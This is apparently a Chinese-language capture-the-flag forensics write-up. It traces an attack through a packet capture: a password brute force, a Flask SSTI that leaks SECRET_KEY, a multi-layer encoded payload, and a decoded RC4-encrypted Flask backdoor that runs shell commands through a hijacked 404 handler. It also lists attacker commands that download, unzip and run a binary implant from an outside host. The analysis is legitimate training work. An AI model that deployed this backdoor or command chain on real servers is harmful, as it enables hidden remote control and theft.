1.SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
因为是找爆破成功的流量。所以我们可以过滤HTTP流量,找到大量重复的请求区域之后看最后一个包。

在这个流量包里我们可以看到,其实攻击者前面很大一部分是在做的网站扫描的工作。到这里他扫描到了一个login也就是登录后台。这时他开始爆破。可以看到一般的爆破流量包是这样的。

可以看到他返回的状态码是200。
而拉到最后,看最后一个访问login的流量包。

返回状态码是302,表明他经过了一次跳转。说明此时他爆破出了真的密码。经过反馈密码正确之后将会跳到操作台界面。
此时第一道题的flag是flag{zxcvbnm123}
2.攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}
当然啦。攻击者爆破后台密码可不仅仅是为了玩这么简单,他肯定是想深入渗透的。那么从刚才的流量包往后看。

在这个包里,攻击者发现了SSTI漏洞并且输入了用于测试的{{7*7}}并成功返回49。下一个包攻击者就读取了当前模板引擎的配置信息。

继续追踪发现配置信息中含有第二个问题的答案。

配置信息解码之后是这样的。
1
| <div style="padding:1rem;border:1px solid #ddd"><Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}></div>
|
所以正确答案是:flag{c6242af0-6891-4510-8432-e1cdf051f160}
3.攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
从第二题拿到相关信息证明注入可行性之后,就立马开始真正的注入了。追踪第二题的下一个包可以发现

为了绕过防御,他采用base64的方式编写payload,同时经过初步解码发现他套了不止一层的base64,并且还进行了倒置。
¯_(ツ)_/¯那没办法,只能上脚本了。(太tm阴了呀!艹)(╬ ̄皿 ̄)
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import base64 import zlib import re
def unpack_layer(data: bytes, layer: int): print(f"\n{'='*20} Layer {layer} {'='*20}")
try: rev = data[::-1] decoded = base64.b64decode(rev) plain = zlib.decompress(decoded) except Exception as e: print("[-] 解码失败,可能已是最后一层") return None
try: text = plain.decode("utf-8", errors="ignore") except: text = repr(plain)
print(text[:1500]) print("\n[+] Length:", len(plain))
return plain
payload = b"""=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"""
layer = 1 cur = payload while True: res = unpack_layer(cur, layer) if not res: break
m = re.search(rb"b'([^']{50,})'", res) if not m: print("\n[+] 未发现下一层 payload,可能已到最终逻辑") break
cur = m.group(1) layer += 1
|
最后大约进行了32次的解码循环,层层剥茧,拿到了攻击者的原初脚本(哎。那还真是不容易呀(ง •_•)ง,加油))
原始脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| global exc_class global code import os,binascii exc_class, code = app._get_exc_class_and_code(404) RC4_SECRET = b'v1p3r_5tr1k3_k3y' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoor_handler(): if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779': return "Error" enc_hex_cmd = request.form.get('data') if not enc_hex_cmd: return "" try: enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore') output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error" app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
|
这个脚本他重写了flask框架的404处理。任意访问不存在页面就会进入后门,不会影响正常业务,但同时单纯的扫描不会发现这个脚本
并且他又自定义了一个HTTP Header:X-Token-Auth只有通过这个响应头才能触发后门。
之后就是对命令执行的消息进行RC4加密。对于这道题来说,正确答案是flag{v1p3r_5tr1k3_k3y}
4.攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
第三题,攻击者不是上传一个木马脚本嘛,顺着第三题的流量包往后看,基本上都是命令执行的加密消息,可以通过第三题所说的特殊HTTP响应头判断。

以这个图像作为例子就是一个典型的命令执行之后的数据包。
以下是脚本对这些数据进行解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res)
enc_cmd = binascii.unhexlify("a6bc") cmd = rc4_crypt(enc_cmd, RC4_SECRET) print(cmd)
|
对剩余的数据包进行观察,发现它都有很明显的HTTP请求头的特征,证明从此后都是命令执行数据包。对从此向后的所有数据包进行解密,可以得到命令如下:
- id
- ls -al
- curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
- unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
- mv /tmp/shell /tmp/python3.13
- chmod +x /tmp/python3.13
- /tmp/python3.13
从命令执行的顺序来看,这个黑客首先使用ID和查看了当前的用户以及当前的文件夹里文件的所需权限,之后再从黑客的服务器上下载了恶意的压缩包。然后存到了一个临时文件夹,命名成123.zip,最后输入密码解压压缩包。再把压缩包里边的shell命名成Python3.13,之后再赋予它执行权限,最后再执行这个shell。
所以这个木马文件最后的名字叫flag{python3.13}
5.请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
在前四题,我们已经把流量包分析得干干净净。现在就开始分析本体文件了。在第四题我们知道他上传了一个压缩包。所以我们可以导出HTTP对象,把压缩包提取出来,密码在第四题已经告诉我们了:nf2jd092jd01.然后再使用ida分析。找到main函数。

这是密钥的核心位置,它是先获取了一个4字节的随机数,然后通过字节序转换。循环得到四个rand()的值就是密钥。
所以这道题的关键就是seed的从哪里看?
在这个“密钥制造区域”的上方,也就是“网络连接区域”,创建了tcp套接字。所以我们可以过滤该套接字来找seed。
1
| ip.addr == 192.168.1.201 && tcp.port == 58782
|

那么,34952046就是seed的值。
于是仿照密函数中密钥的程方式可以得到如下脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
import ctypes import struct
def reconstruct_key(): libc = ctypes.CDLL("libc.so.6")
seed_hex = "34952046" seed_bytes = bytes.fromhex(seed_hex) seed = int.from_bytes(seed_bytes, byteorder="big")
libc.srand(seed)
key = b"" for i in range(4): r = libc.rand() key += struct.pack("<I", r) print("flag{" + key.hex() + "}")
if __name__ == "__main__": reconstruct_key()
|